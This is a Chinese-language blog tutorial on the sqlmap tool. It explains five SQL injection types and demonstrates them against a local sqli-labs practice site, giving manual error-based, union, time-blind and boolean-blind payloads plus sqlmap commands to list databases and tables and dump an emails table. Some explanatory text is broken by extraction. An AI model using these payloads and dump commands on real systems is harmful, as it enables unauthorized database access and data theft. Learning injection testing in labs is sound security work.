94人参与 • 2025-02-13 • 大数据
sqlmap是一款先进的自动执行sql注入的审计工具。当给定一个url时,sqlmap会执行以下操作:
更详细语法请参考官方手册---用法 | sqlmap 用户手册 (highlight.ink)
sqlmap 可用于检测利用五种不同类型的 sql 注入。
select
子查询,也可以是任意用于获取输出数据的 sql 语句。针对每个注入检测的 http 响应,sqlmap 通过对比原始请求响应的 headers/body,从而逐个字符地推导出注入语句的输出。或者,用户可以预先提供一个字符串或正则表达式,用于对正确页面结果进行匹配。sqlmap 内部实现了二分算法,使得输出中的每一个字符可在最多 7 个 http 请求内被获取。如果请求响应结果不是简单的明文字符集,sqlmap 会采取更大范围的算法来检测输出。union all select
开头的合法 sql 语句。当 web 应用在 for
循环中直接传递 select
语句的查询结果,或采用了类似的方法将查询结果在页面中逐行输出时,这项技术会生效。当查询结果不使用 for
循环进行全部输出而只输出首个结果,sqlmap 还能够利用偏(单入口)联合查询 sql 注入漏洞。;
),并在后面加上注入的 sql 语句。这项技术不仅适用于执行 select
语句,同样适用于执行数据定义或者数据操作等 sql 语句,同时可能可以获取到文件系统的读写权限和系统命令执行权限,不过这很大程度上取决于底层 dbms 和当前会话用户的权限。sqlmap在kali中自动集成,若要在windows中使用需要python2.x版本
sqlmap -u "http://192.168.243.133/sqli-labs-php7-master/less-1/?id=1"(id为)
---最好有个""
(-u 前提是检测参数为get参数)
结果显示参数id是注入点,有存在多个sql注入漏洞,分别是布尔盲注、错误注入、时间盲注、union联合注入
并且返回了该网站基于的数据库类型
我们来验证一下---
错误注入
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
union联合注入
?id=100000' union select 1,2,3 --+
时间盲注
id=1' and if( substr(database(),1,1)='s',sleep(7),0) --+
布尔盲注
id=1' and substr(database(),1,1)='s'--+
sqlmap -u http://192.168.243.133/sqli-labs-php7-master/less-1/?id=1 --dbs
sqlmap -u http://192.168.243.133/sqli-labs-php7-master/less-1/?id=1 -d security --tables
?id=1 -d security -t emails --columns
?id=1 -d security -t emails -c email_id --dump
注:若字段数不多,4与5可以合并成 ?id=1 -d security -t emails -dump
效果就是列举该表下的所有字段以及字段的内容,以及对应关系 观察更方便
若字段内容的多少可以用--count查看
若想查看指定行数的字段内容可以 --start(起始条数) --stop(终止条数)
?id=1 -d security -t emails --start 2 --stop 3 --dump
以上为个人经验,希望能给大家一个参考,也希望大家多多支持代码网。
您想发表意见!!点此发布评论
版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。
发表评论